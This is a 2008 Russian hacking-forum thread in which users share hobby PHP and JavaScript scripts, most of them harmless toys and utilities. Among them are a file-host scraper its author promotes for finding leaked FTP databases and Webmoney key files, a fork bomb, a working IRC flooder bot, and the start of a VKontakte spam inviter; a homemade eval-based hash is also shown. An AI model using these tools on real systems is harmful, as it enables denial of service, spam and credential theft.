ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   PHP (https://forum.antichat.io/forumdisplay.php?f=37)
-   -   Скрипты от скуки (https://forum.antichat.io/showthread.php?t=57931)

bul.666 09.01.2008 10:36

Скрипты от скуки
 
Выкладываем сюда. Скрипты которые вы мутили от нихеранеделанья... Тоесть всякие веселые скрипты...

Начну:
Сначала методом тыка на картинки рисуем рисунок...
Потом жмем кнопку и он выдает нам код типа:
11111111110000011010000110010001100010011000010110 00001111111111
Вторая часть скрипта преобразует этот "код" обратно в картинку =)

Реализовано на JavaScript.
линк: http://bul666.info/pica/
Исходный код:
Код HTML:

<table width=100% height=100% style="border: 1px solid #000; font-family:tahoma; color: red">
<td align=center >
Генерируем код:
<script>
pole_x = 8;
imgs_p = pole_x * pole_x;
function asd(ident) {
document.images[ident].src='1.bmp';
}
document.write("<table>");
for (i=0;i<pole_x;i++) {
document.write("<tr>");
for (j=0;j<pole_x;j++) {
document.write("<td><img id='x"+i+j+"' src=0.bmp onclick='asd(this.id);'></td>");
}}
document.write("</table><input type=text id=txt size=80><br>");
var speed=0.4;
var q=-1;

alert(loc);
function Count() {
if (q++<63){
line1 = document.images[q].src;
txt.value=txt.value+line1.charAt(24); //Где 24 это положение цифры в URL картинки...
}
setTimeout("Count()",speed);
}
</script>

<input type=button value=Подсчитать OnClick='txt.value="";q=-1;Count()'>
<center>
Преобразуем код в картинку:<br>
<input type=text id='ttt2' size=82>
<br>
<script>
var speed2=0.4;
var w=-1;
function deCount() {
newline = ttt2.value;
if (w++<64){
document.images['z'+w].src=newline.charAt(w)+".bmp";
}
setTimeout("deCount()",speed2);
}
for (d=0;d<64;d++) {
document.write("<img id=z"+d+" src=0.bmp onclick='alert(this.id)'>");
if (d==7 || d==15 || d==23 || d==31 || d==39 || d==47 || d==55 || d==63) {document.write("<br>"); }
}
</script>
<br>
<input type=button value=Преобразовать OnClick='newline="";w=-1;deCount()'>
</td>
</table>


bul.666 09.01.2008 10:42

Вот еще:
http://bul666.info/hz/
При старте указываем размер по вертикали и горизонтали... Скрипт по размерам создаст таблицу с квадратиками, нажимая на квадратик в нем появиться кружочек =)
Исходник:
Код HTML:

<html>
<head>
<title>Test</title>
</head>
<body>
<table width=100% height=100%>
<td align=center>
<script>
pole_x = prompt("Number of sqares","8");
imgs_p = pole_x * pole_x;
function asd(ident) {
for (k=0; k<imgs_p; k++) {
pos.value=ident;
document.images[k].src='0.bmp';
}
document.images[ident].src='1.bmp';
}
document.write("<table>");
for (i=0;i<pole_x;i++) {
document.write("<tr>");
for (j=0;j<pole_x;j++) {
document.write("<td><img id='x"+i+j+"' src=0.bmp onclick='asd(this.id)'></td>");
}}
document.write("</table>");
</script>

Position: <input type=text id=pos size=4 readonly>
</table>
</body>
</html>


.:EnoT:. 09.01.2008 10:44

этот код чем-то похож на светодиоды что в болталке)))

З.Ы. судя по скрипту тебе и правда делать было нечего))))

Щас комп разгребу, выложу пару дебильных скриптов которые я накодил когде мне делать было нечего :)

Ponchik 09.01.2008 10:54

Ааа... Скрипты от скуки, мне сюда :D
Идея навеяна темой https://forum.antichat.ru/thread57280.html
Тама скрипт бегает по слилу от ID и до и собирает ссылки, токо никуда их не сохраняет :(
ВОт делать быле нечего, взял написал... Скрипт бегает по слилу и заносит файлы в базу
slil.ru изменил формат вывода размера, поэтому те кто уже скачал раньше, исправьте скрипт и базу
PHP код:

<?
set_time_limit
(0);
ignore_user_abort(1);

mysql_connect('localhost','root','pass'); #Настройки бд
mysql_select_db('db');

$from = mysql_result(mysql_query("SELECT MAX(`id`) FROM slil"),0,0); #Ищим максимальный ID
if (!$from) $from = 25332371; #Если первый запуск скрипта
else $from++;

for (
$i=$from;$i<=50000000;$i++) { # Если есть ограничение, пишем
    
$html = file_get_contents("http://zalil.ru/$i"); #Получаем HTML
    
preg_match_all("|<p align=\"center\">\r\n(.*)&nbsp;&nbsp;&nbsp;(.*)<br><br>|si",$html,$out); #Выдераем имя и размер
    
$name = $out[1][0]; #Имя
    
$size = $out[2][0]; #Размер
    
if(!$name || !$size) { #Если какая-то ошибка, или файл ещё не существует, повторить
        
echo "$i) <b>Repeat</b><br>\r\n";
        
$i--;
    }else{
        echo 
"<a href=\"http://zalil.ru/$i\">$i</a>) <b>$name</b> ($size bytes)<br>\r\n"; #Выводим результат в браузер
        
mysql_query("INSERT INTO `slil` VALUES ('$i','$name','$size',NOW())"); #Заносим в БД
    
}
    
flush(); #Выводим в браузер
    
if (file_exists('stop_up')) { #Если есть файл, умереть
        
unlink('stop_up');
        die(
'Script stopped by admin');
    }
}
?>

База:
Код HTML:

CREATE TABLE `slil` (
  `id` int(11) NOT NULL,
  `filename` varchar(255) NOT NULL,
  `size` varchar(10) NOT NULL,
  `date` datetime NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

Такая штука работает у меня http://ponchik.no-ip.org/ тоже от нечего делать :D

Ах да, если хотим остановить скрипт, создаем в папке с скриптом файл "stop_up" как только он исчезнет, значит скрипт остановился :)

P.S> После обсуждения в мирке, оказалось это оч даже полезная вещ :)))
Можно увести FTP базу http://ponchik.no-ip.org/?filename=ftp или Webmoney даже http://ponchik.no-ip.org/?filename=.kwm :D

Macro 09.01.2008 11:03

PHP код:

<?
while(true){
popen("/usr/bin/php ".$_SERVER['PHP_SELF'],"w");}
?>

Этот скрипт забивает проц и оперативку, причем интересная вещь происходит иногда - кнопки мыши могут поменяться местами, клавиатурные команды исполняться не будут, причем все программы продолжат работать. Диспетчер задач открыть вряд ли выйдет

Conquerstador 09.01.2008 12:34

Цитата:

Сообщение от Macro
PHP код:

<?
while(true){
popen("/usr/bin/php ".$_SERVER['PHP_SELF'],"w");}
?>

Этот скрипт забивает проц и оперативку, причем интересная вещь происходит иногда - кнопки мыши могут поменяться местами, клавиатурные команды исполняться не будут, причем все программы продолжат работать. Диспетчер задач открыть вряд ли выйдет

Это типичная вещь как в бекдоре там тоже можно кнопки мыши махнуть местами)))

Macro 09.01.2008 12:36

Цитата:

Сообщение от Conquerstador
Это типичная вещь как в бекдоре там тоже можно кнопки мыши махнуть местами)))

Не забывай, что это php скрипт, а не бэкдор и данная его фича достигается случайно, а не намеренно, как в бэкдоре

Dr.Z3r0 09.01.2008 13:05

данный скрипт тоже был написанн от скуки на заре начатия изучения PHP выводит в несколько столбцов код символа, сам символ, и его хтмл представление... ну и получаецо сответственно тупая таблица)))) уверен что никому не пригодицо...
PHP код:

<?php
echo("<body bgcolor=#404040>");

function 
start_from(){return 32;}//начальный символ
function count_sumb(){return 256;}//конечный символ
function count_column(){return 10;}//количество столбцов

function echo_line()
{
echo(
"<font color='#FFFFFF'>");
for(
$s=0;$s<count_column();$s++){if($s===0)echo("++");echo(tire()."+-+--------++");}
echo(
"</font>");
echo(
"\n");
}

function 
tire()
{
$str="";
for(
$i=0;$i<strlen(count_sumb()*count_column());$i++)$str.="-";
return 
$str;
}

function 
set($str,$len)
{
if(
strlen($str)<=$len)
{
$add=$len-strlen($str);
for(
$i=0;$i<$add;$i++){$str=$str." ";}
}
return 
$str;
}

echo(
"<pre>\n");
echo_line();
echo_line();
for(
$i=start_from();$i<count_sumb();$i++)
{
    echo(
"<font color='#08FB04'>");
    for(
$s=0;$s<count_column();$s++)
    {
        
$i2=$i+(count_sumb()*$s);
        if(
$s===0)echo("<font color='#FFFFFF'>||</font>");
        echo(
set($i2,strlen(count_sumb()*count_column()))."<font color='#FFFFFF'>|</font>".set(chr($i2),1)."<font color='#FFFFFF'>|</font>".htmlentities(set(htmlentities(chr($i2)),8))."<font color='#FFFFFF'>||</font>");
    }
    echo(
"</font>\n");
    
echo_line();
}
echo_line();
echo(
'</pre>');
echo(
"</body>");
?>


Conquerstador 09.01.2008 13:06

Неоднократный глюк в Windows)))))

Macro 09.01.2008 13:09

Алгоритм генерации хэша с GUI :)

PHP код:

<?php
if(!isset($_POST["pass"])){$a="example password";}else{$a=$_POST["pass"];}
$body="<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"><html><HEAD><META HTTP-EQUIV=Content-Type CONTENT=\"text/html; charset=windows-1251\"><title>MacroHash Algorithm</title></head><br><br><font size='5' color='green'>MacroHash Algorithm</font><br><br><br><center><b>Type below your password:<br></b><br><form method='POST' action=''><input type='text' name='pass' value='$a'><input type='submit'></form></center>";

function 
b2h($bin)
{
$q1='3031323334353637383921402324255e262a28295f3d2d2b2c2e2f5d7b7d3c3e3f27227c6162636465666768696a6b6c6d6e6f707172737475767778797a4142434445464748494a4b4c4d4e4f505152535455565758595a20';
$q2='0123456789!@#$%^&*()_=-+,./]{}<>?\'"|abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ';
$kod='switch($l) {';
for(
$i=0; $i<=strlen($q2)-1; $i++)
{
if(
substr($q2,$i,1)=="'")
{
$kod.='case \'\\'.substr($q2,$i,1).'\': $u=\''.substr($q1,$i*2,2).'\'; break; ';
}
else
{
$kod.='case \''.substr($q2,$i,1).'\': $u=\''.substr($q1,$i*2,2).'\'; break; ';
}
}

$kod.=' default: $u="00";}';


$u='null';
$decoded='';
for (
$i=0;$i<=strlen($bin)-1;$i++)
{
$l=substr($bin,$i,1);
eval(
$kod);
$decoded.=$u;
}

return 
$decoded;}


function 
summa($in)
{
$sm=0;
for(
$i=0; $i<=strlen($in-2); $i+=2)
{
$sm=$sm+hexdec(substr($in,$i,2));
}

$asdf2=explode(".",$sm/3.1415927);

return 
$asdf2[1];
}

function 
hash($string)

{
$b=b2h($string);
$str = '';
$c='';


for(
$i=0; $i<=strlen($b)-2; $i+=2)
{
$x=hexdec(substr($b,$i,2));
$c.=dechex($x+intval(strlen($string)*$x)+summa($b)/$x);
}


if (
strlen($c)<=32) 
{
$d='';

for(
$i=0; strlen($d)<=32; $i+=2)
{
$d.=dechex(intval((hexdec(substr($c,$i,2))+strlen($d))*summa($b)*$x));
}
$str=substr($d,strlen($d)-32,32);
}

elseif(
strlen($c)>32)
{
$w='';
$c=substr($c,strlen($c)-5);
for(
$i=0; strlen($w)<=32; $i+=2)
{
$w.=dechex(intval((hexdec(substr($c,$i,2))+strlen($w))*summa($b)*$x));
}
$str=substr($w,0,32);
}
return 
$str;
}

if (empty(
$_POST["pass"])) 
{

print(
"<title>MacroHash Algorithm</title>".$body);
} 
elseif(isset(
$_POST["pass"])) 
{
$a=$_POST["pass"];
$a1="";

print(
$body."<p><b>Password</b>: ".$a."<br><b>Hash:</b> ".hash($a)."</p>");
}
print(
"</html>");
?>


Dr.Z3r0 09.01.2008 13:11

ах да забыл вот еще бесполезный скрипт... писался когда нача изучать регулярки...
определяет тип хеша...
PHP код:

<?php
$hash
=array(array('md3, md4 hmac, md5, md5 hmac, ripmed 128, NTHash, LM, MacroHash','/^[a-zA-Z0-9]{32}$/'),
            array(
'md4 base64, md5 base64,','/^[a-zA-Z0-9\/\+]{22}\=\=[a-zA-Z0-9\/]{3}\=$/'),
            array(
'md5 Unix,','/^\$\d\$[\D\d]*\$[a-zA-Z0-9\.\/]{22}$/'),
            array(
'md5 APR,','/^\$apr1\$[\D\d]*\$[a-zA-Z0-9\.\/]{22}$/'),
            array(
'mysql,','/^[a-zA-Z0-9]{16}$/'),
            array(
'sha-1 base64,','/^[a-zA-Z0-9\/\+\=]{28}$/'),
            array(
'mysql5, sha-1, sha-1 hmac, ripmed 160,','/^[a-zA-Z0-9]{40}$/'),
            array(
'sha-256, ГОСТ Р34.11-94, ripmed 256,','/^[a-zA-Z0-9]{64}$/'),
            array(
'ripmed 320,','/^[a-zA-Z0-9]{80}$/'),
            array(
'sha-384,','/^[a-zA-Z0-9]{98}$/'),
            array(
'crc16, crc16-ccitt,','/^[a-zA-Z0-9]{4}$/'),
            array(
'crc32, crc32b, GHash-32, Adler32','/^[a-zA-Z0-9]{8}$/'),
            array(
'sha-512,','/^[a-zA-Z0-9]{128}$/'));
if(!empty(
$_POST['hash1'])){
    
$hashstr='';
    for(
$i=0;$i<count($hash);$i++){
        if(
preg_match($hash[$i]['1'],$_POST['hash1']))$hashstr.=$hash[$i]['0'];
    }
    if(!empty(
$hashstr))echo('Это похоже на '.$hashstr.' <hr>');
    else echo(
'Это что то хитрое o_O<hr>');
}
echo(
'<form method="post">
<input type="text" name="hash1" value=""><input type="submit" value="прочекать">
</form>'
);
?>


Macro 09.01.2008 13:14

Ноль, гг мой хэш(полученный с помощью предыдущего скрипта) определится как md5 =)

Dr.Z3r0 09.01.2008 13:18

Цитата:

Сообщение от Macro
Ноль, гг мой хэш(полученный с помощью предыдущего скрипта) определится как md5 =)

гг я твой хеш добавил :)

bul.666 09.01.2008 15:47

Я знал, что я не один =)

NNNS 09.01.2008 21:14

Первое, что написал при знакомстве с GD.
Информер Башорга. Выдает последнюю цитату на башорге. Статистику апрувов.
Скрипт нереально тормозной :D
Пример работы:
http://cvaclan.com/bo/informer.gif

_http://cvaclan.com/bo/bor.rar

AFoST 09.01.2008 21:29

Код:

<?
##################################
#  ############################  #
#    ## SImple irc flooder ##    #
#    #### Coded by FoST. ####    #
#    ## Only for testing.. ##    #
#  ############################  #
##################################

###########################################################
#######                                FUNCTIONS                      #######
###########################################################

    function socket_create_connect($server,$srvport){

        //creating socket
        //_______________
        if(!$sock=socket_create(AF_INET, SOCK_STREAM, SOL_TCP))
                die("Error creating socket!\r\n");


        //connecting to socket...
        //_______________
        if(!$result=socket_connect($sock,$server,$srvport))
                die("Error socket connecting!\r\n");

        return $sock;
        }

        function irc_connect($socket_,$nick_,$name_,$ident_,$channel_){

                $str="NICK ".$nick_."\r\n";
                socket_write($socket_,$str,strlen($str));
                echo "------->  ".$str;

                $str="USER ".$ident_." 8 * : ".$name_."\r\n";
                socket_write($socket_,$str,strlen($str));
                  echo "------->  ".$str;

                $str="JOIN ".$channel_." \r\n";
                socket_write($socket_,$str,strlen($str));
                echo "------->  ".$str;

                $str="PRIVMSG ".$channel_." : Hello all!!! =)\r\n";
                socket_write($socket_,$str,strlen($str));
                echo "------->  ".$str;

        }

        function flood($socket_,$channel_){
                while(true){
                        $flood_str="PRIVMSG ".$channel_." : ".(rand(-65536,65536)+rand(-65536,65536))."\r\n";
                        socket_write($socket_,$flood_str,strlen($flood_str));
                        sleep(2);
                        }
        }

###########################################################
#######                                  MAIN CODE                    #######
###########################################################

if ($argv[4]){
        $server= $argv[1]; #server adress
        $port= $argv[2]; #server port
        $channel= $argv[3]; #irc channel
        $nick= $argv[4]; #nick

        $ident="noname"; #ident
        $name="noname"; #bot name (during whois)
        $flooding=false;
        } else
                die("\r\n".
                        "Usage:\r\n".
                        "server port #channel Your_nick\r\n".
                        "Example: irc.somehost.ru #MyChannel 6667 NoName\r\n");

        //creating socket, connecting to server and connecting to irc...
        //______________
        $socket=socket_create_connect($server,$port);
    irc_connect($socket,$nick,$name,$ident,$channel);

        while ($body = socket_read($socket,128)) {

                echo convert_cyr_string($body,"w","a");

                if (preg_match("/^PING(.*)$/i",$body,$matches)) {
                        $PONG="PONG $1\r\n";
                        echo $PONG;
                        socket_write($socket,$PONG,strlen($PONG));
                        }

                #quit bot
                if (preg_match("/[^.]!quit/",$body,$matches)){
                        socket_write($socket,"QUIT\r\n",strlen("QUIT\r\n"));
                        }

                #start flooding
                if (preg_match("/[^.]!flood/",$body,$matches)){
                        $flooding=true;
                        }

                #stop flooding
                if (preg_match("/[^.]!stopflood/",$body,$matches)){
                        $flooding=false;
                        }

                if ($flooding){
                        flood($socket,$channel);
                        }

                }
?>

Вот такой вот кривой php-irc-фудер %) Писал, когда разбирался с сокетами :)

demonoid 09.01.2008 22:02

Цитата:

Сообщение от I-I()/Ib
.......
$hash=array(array('md3, md4 hmac, md5, md5 hmac, ripmed 128, NTHash, LM, MacroHash','/^[a-zA-Z0-9]{32}$/'),....

Зачем такой большой диапазон?
для md5 :
Код:

a-fA-F0-9
да и не только для md5 :)

D0S 10.01.2008 01:06

Цитата:

Сообщение от Ponchik
Ааа... Скрипты от скуки, мне сюда :D
Идея навеяна темой https://forum.antichat.ru/thread57280.html
Тама скрипт бегает по слилу от ID и до и собирает ссылки, токо никуда их не сохраняет :(
ВОт делать быле нечего, взял написал... Скрипт бегает по слилу и заносит файлы в базу
slil.ru изменил формат вывода размера, поэтому те кто уже скачал раньше, исправьте скрипт и базу

мля зациклился на каком то файле, Repeat и так бесконечно :( 3053 записей в бд всего (

Gener 10.01.2008 01:33

статуса Icq-пользователя
 
Скрипт определения статуса Icq-пользователя - не мой)может кому пригодится-)

Вообщет ICQ статус в самом простейшем варианте можно вывести на страницу с пом предоставленной мирабилисами картинки
PHP код:

http://status.icq.com/online.gif?icq=NNNNNN&img=N 

, где NNNNNN - номер аськи, а N - вариант картинки (от 0 до 25)

В этом скрипте, можно запихать собственную картинку:)
PHP код:

<?php
    
function IcqStatus($icq){
  global 
$g_icq_list;
  if (isset(
$g_icq_list[$icq])) return $g_icq_list[$icq];
  
$port = 80;
  
$host = "status.icq.com";
  
$path = "/online.gif?icq=".$icq;
  
$timeout = 1;

  
$response = "";
  
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
  if(
$fp){
      
fputs($fp, "GET $path HTTP/1.1\r\n");
      
fputs($fp, "Host: $host\r\n");
      
fputs($fp, "User-Agent: Internet Explorer 5.0/1.0\r\n");
      
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
      
fputs($fp, "Connection: close\r\n\r\n");
      
      while(!
feof($fp) && strpos($response, "Location:")=== false)
    
$response = fgets($fp, 4096);
      
fclose($fp);
  }
  
$g_icq_list[$icq] = (strpos($response, "online1.gif")!== false);
  return 
$g_icq_list[$icq];
    }
?>

(С) Vic'er

FeraS 10.01.2008 01:44

Gener
Тут не чужие, тут свои надо

Gener 10.01.2008 01:49

ок) просто под рукой попался... думаю может кому надо!
свои обязательно выложу... будет время, сейчас просто занят над одним делом!!!

-Hormold- 12.01.2008 01:00

PHP код:

<?
function keys($url){
$openn=file_get_contents($url);
preg_match_all( '/words" content=(.*)>/iUs' , $openn,$key); 
sleep(1);
$key[0][0] = str_replace('words" content=', "", $key[0][0]);
$key[0][0] = str_replace('"', "", $key[0][0]);
$key[0][0] = str_replace('>', "", $key[0][0]);
$key[0][0] = str_replace('/', "", $key[0][0]);
$fp=fopen("base.txt","ab");
fwrite($fp,$url."=".$key[0][0].'\n');
fclose($fp);

}
keys("http://mail.ru/");
?>

Скрипт выдерает из страницы ключевые слова в мета. И сохраняет их в базе...
Могли бы переделать точно также только урл ссылки выдерает...

NNNS 12.01.2008 10:11

Скрипт чекает короткие домены в зонах .ru, .su

http://i007.radikal.ru/0801/f4/47c74ae0d293t.jpg

PHP код:

<?
error_reporting  
(0);
set_time_limit   (0);
#-------------------------------------*
#        short domain checker
#        by NNNS {icq: 474374}
#-------------------------------------*
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>short domain checker by NNNS</title>
<style type="text/css">
<!--
body,td,th {
}
.titler {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 24px;
    color: #666666;
    border-bottom-width: 1px;
    border-bottom-style: dashed;
    border-bottom-color: #3399FF;
}
.error {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
    color: #B0B0B0;
    border-bottom-width: 1px;
    border-bottom-style: dashed;
    border-bottom-color: #E25053;
    text-align: center;
}
.titler:hover {
    color: #3399FF;
    border-bottom-color: #666666;
}
.edit {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 12px;
    color: #3399FF;
    border: 1px solid #E8E8E8;
    height: 16px;
    width: 50px;
    text-align: center;
    margin-right: 2px;
}
.true {
    font-size: 12px;
    color: #9ABB26;
    font-family: Arial, Helvetica, sans-serif;
}
.text {
    font-family: Georgia, "Times New Roman", Times, serif;
    color: #B0B0B0;
    font-size: 12px;
}
.buttoncheg {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 12px;
    color: #B0B0B0;
    border: 1px solid #E8E8E8;
    background-color: #FFFFFF;
    height: 20px;
    width: 50px;
}
.false {
    font-size: 12px;
    color: #CC090E;
    font-family: Arial, Helvetica, sans-serif;
}
.tables {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
    border-bottom-width: 1px;
    border-bottom-style: solid;
    border-bottom-color: #ECF5FF;
}
.text2 {
    font-family: Arial, Helvetica, sans-serif;
    color: #B0B0B0;
    font-size: 12px;
}
.text3 {
    font-family: Arial, Helvetica, sans-serif;
    color: #3399FF;
    font-size: 12px;
}
.selecte {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 10px;
    color: #3399FF;
    border: 1px solid #E8E8E8;
    height: 18px;
    width: 100px;
    text-align: center;
    margin-right: 2px;
}
.edit2 {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 12px;
    color: #3399FF;
    border: 1px solid #E8E8E8;
    height: 16px;
    width: 75px;
    text-align: center;
    margin-right: 2px;
}
.selecte2 {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 10px;
    color: #3399FF;
    border: 1px solid #E8E8E8;
    height: 18px;
    width: 40px;
    text-align: center;
    margin-right: 2px;
}
-->
</style>
</head>
<body><form method="post" action="">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td align="center" valign="middle"><span class="titler">short domain checker</span><br />
      <br />    </td>
  </tr>
  <tr>
    <td align="center" valign="middle"><table border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td valign="middle"><span class="text">Длина домена</span>&nbsp;</td>
        <td width="50" valign="middle"><input name="number" type="text" class="edit" id="number" value="<?=$number;?>" /></td>
        <td valign="middle"><span class="text">&nbsp;Количество доменов&nbsp;</span></td>
        <td width="50" valign="middle"><input name="domain_nums" type="text" class="edit" id="domain_nums" value="<?=$domain_nums;?>" /></td>
        <td valign="middle" class="text">Тип домена </td>
        <td valign="middle"><select name="domtype" class="selecte">
          <option value="1">Только буквы</option>
          <option value="2">Только цифры</option>
          <option value="0">Буквы и цифры</option>
        </select>        </td>
        <td valign="middle" class="text">Зона</td>
        <td valign="middle">
          <select name="zone" id="zone" class="selecte2">
            <option value="1">.ru</option>
            <option value="2">.su</option>
          </select>
        </label></td>
        <td width="50" valign="middle"><input name="submit" type="submit" class="buttoncheg" id="submit" value="Check" /></td>
      </tr>
    </table>
      <br /></td>
    </tr>
</table>
</form>
<?php

$number 
= intval($_POST['number']);          
$domain_nums = intval($_POST['domain_nums']);
$domtype = intval($_POST['domtype']);
$zone = intval($_POST['zone']);

if (
$zone == '1') {$zone = ".ru";}
if (
$zone == '2') {$zone = ".su";}
$whois = "whois.ripn.ru";                   
$not_found = "No entries found";    

if (
$number == '') {$number = 5;}
if (
$number < '0') {$number = 5;}
if (
$number == '2') {$number = 3;}
if (
$number > 20) {$number = 20;}  

if (
$domain_nums == '') {$domain_nums = 3;}
if (
$domain_nums < '0') {$domain_nums = 3;}       

function 
generate_domain($number, $type)  
{  
    if (
$type == '0') {
    
$arr = array(
    
'a','b','c','d','e','f',  
    
'g','h','i','j','k','l',  
    
'm','n','o','p','r','s',  
    
't','u','v','x','y','z',  
    
'1','2','3','4','5','6',  
    
'7','8','9','0');  
    }
    if (
$type == '1') {
    
$arr = array(
    
'a','b','c','d','e','f',  
    
'g','h','i','j','k','l',  
    
'm','n','o','p','r','s',  
    
't','u','v','x','y','z');  
    }
    if (
$type == '2') {
    
$arr = array(
    
'1','2','3','4',
    
'5','6','7','8',
    
'9','0');  
    }
    for(
$i = 0; $i < $number; $i++)  
    {   
        
$index = rand(0, count($arr) - 1);  
        
$dom .= $arr[$index];  
    }  
    return 
$dom;  
}

if(
$_POST['submit'])
{
    echo 
"<center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"tables\">
                <tr>
              <td width=\"100\" valign=\"middle\" class=\"text2\">Домен</td>
                 <td width=\"70\" valign=\"middle\" class=\"text3\">Годен до</td>
              <td width=\"150\" valign=\"middle\" class=\"text2\">Хост</td>
              <td width=\"70\" valign=\"middle\" class=\"text3\">Статус</td>
               </tr>
              </table></center>"
;
    for(
$i = 0; $i < $domain_nums; $i++)  
    {      
        
$domain = generate_domain($number,$domtype);
        
$domain = $domain.$zone;
        
$fp = fsockopen($whois, 43);
        
fputs($fp, "$domain\r\n");
        
$str = "";
        while(!
feof($fp))            
        {
            
$str .= fgets($fp,128);        
        }
        
fclose($fp);
        if(
preg_match("/Please try to connect later/is",$str)) 
        {
            die(
"<br><center><span class =\"error\" >Превышен лимит запросов к ".$whois." :(</span></center></body></html>");
        }
        
        if(!
preg_match("/".$not_found."/is", $str))
        {
            
preg_match("/paid-till:(.*?)\\n/is", $str, $edate);
            
preg_match("/nserver:(.*?)\\n/is", $str, $serv);
            
$edate  = $edate[1];
            
$serv   = str_replace("ns.", "",$serv[1]);     
            
$serv   = str_replace("ns1.", "",$serv);
            
$serv   = str_replace("ns2.", "",$serv);    
            
$serv   = str_replace("ns3.", "",$serv);
            
$serv   = str_replace("ns4.", "",$serv);
            
$serv   = str_replace("ns0.", "",$serv);
            
$status = "<span class =\"false\">Занят</span><br>";
        }
        else
        {
            
$edate  = " - ";
            
$serv   = " - ";
            
$status = "<span class =\"true\">Свободен</span><br>";
        }
        echo 
"<center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"tables\">
                <tr>
              <td width=\"100\" valign=\"middle\" class=\"text2\">
$domain</td>
                 <td width=\"70\" valign=\"middle\" class=\"text3\">
$edate</td>
              <td width=\"150\" valign=\"middle\" class=\"text2\">
$serv</td>
              <td width=\"70\" valign=\"middle\">
$status</td>
               </tr>
              </table></center>"
;
        
ob_flush();
        
flush();        
    }
}
?>
</body>
</html>


NNNS 18.01.2008 08:34

Приглашалка в группу (ВКонтакте.ру)

http://i042.radikal.ru/0801/6b/ed13010aa554t.jpg

PHP код:

<?
#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
#&   Vkontakte.ru group inviter
#&     By NNNS {icq: 474374}
#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

error_reporting(0);
set_time_limit(0);
# Всякие переменные
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11";

$begin = intval($_POST['begin']);
$end = intval($_POST['end']);
$gid = intval($_POST['gid']);
$email = strip_tags($_POST['email'], "");
$pass = strip_tags($_POST['pass'], "");

if(
$begin == '') {$begin = "0";}
if(
$end == '') {$end = "0";}
if(
$gid == '') {$gid = "0";}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>ВКонтакте инвайтер (С) NNNS</title>
<style type="text/css">
<!--
.tablichko {
    font-family: Arial, Helvetica, sans-serif;
    background-color: #F7FCFD;
    border-top-width: 1px;
    border-bottom-width: 1px;
    border-top-style: solid;
    border-bottom-style: solid;
    border-top-color: #E0F3F8;
    border-bottom-color: #E0F3F8;
    height: 100px;
}
.tit {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 24px;
    color: #1C6679;
}
.comment {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #289AB7;
}
.inputko {
    font-size: 12px;
    color: #289AB7;
    height: 16px;
    text-align: center;
    border-top-width: 1px;
    border-left-width: 1px;
    border-top-style: solid;
    border-right-style: none;
    border-bottom-style: solid;
    border-left-style: solid;
    border-top-color: #E0F3F8;
    border-left-color: #E0F3F8;
    border-bottom-width: 1px;
    border-bottom-color: #E0F3F8;
}
.inputko:focus {
    background-color: #E8F5F9;
}
.inputko2:focus {
    background-color: #E8F5F9;
}
.inputko3:focus {
    background-color: #FFF;
}
.buttoncheg {
    color: #FFFFFF;
    background-color: #1C6679;
    border: 1px solid #E0F3F8;
    height: 20px;
    font-size: 12px;
    width: 80px;
}
.inputko2 {
    font-size: 12px;
    color: #289AB7;
    height: 16px;
    text-align: center;
    border-top-width: 1px;
    border-top-style: solid;
    border-right-style: solid;
    border-bottom-style: solid;
    border-left-style: none;
    border-top-color: #E0F3F8;
    border-bottom-width: 1px;
    border-bottom-color: #E0F3F8;
    border-right-width: 1px;
    border-right-color: #E0F3F8;
}
.inputko3 {
    font-size: 12px;
    color: #289AB7;
    height: 16px;
    text-align: center;
    width: 78px;
    border-right-width: 1px;
    border-bottom-width: 1px;
    border-left-width: 1px;
    border-top-style: none;
    border-right-style: solid;
    border-bottom-style: solid;
    border-left-style: solid;
    border-right-color: #E0F3F8;
    border-bottom-color: #E0F3F8;
    border-left-color: #E0F3F8;
    background-color: #F7FCFD;
}
.vtab {
    color: #48BAD7;
    border-bottom-width: 1px;
    border-bottom-style: solid;
    border-bottom-color: #DFF3F9;
    font-size: 12px;
    font-family: Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body>
<form method="post" action="">
<table width="100%" border="0" cellpadding="0" cellspacing="0" class="tablichko">
  <tr>
    <td align="center" valign="middle"><span class="tit">      ВКонтакте инвайтер<br />
    </span>
      <table border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td colspan="2" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">Диапазон пользователей (с/до) </td>
      <td valign="top">&nbsp;</td>
      <td width="100" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">email  </td>
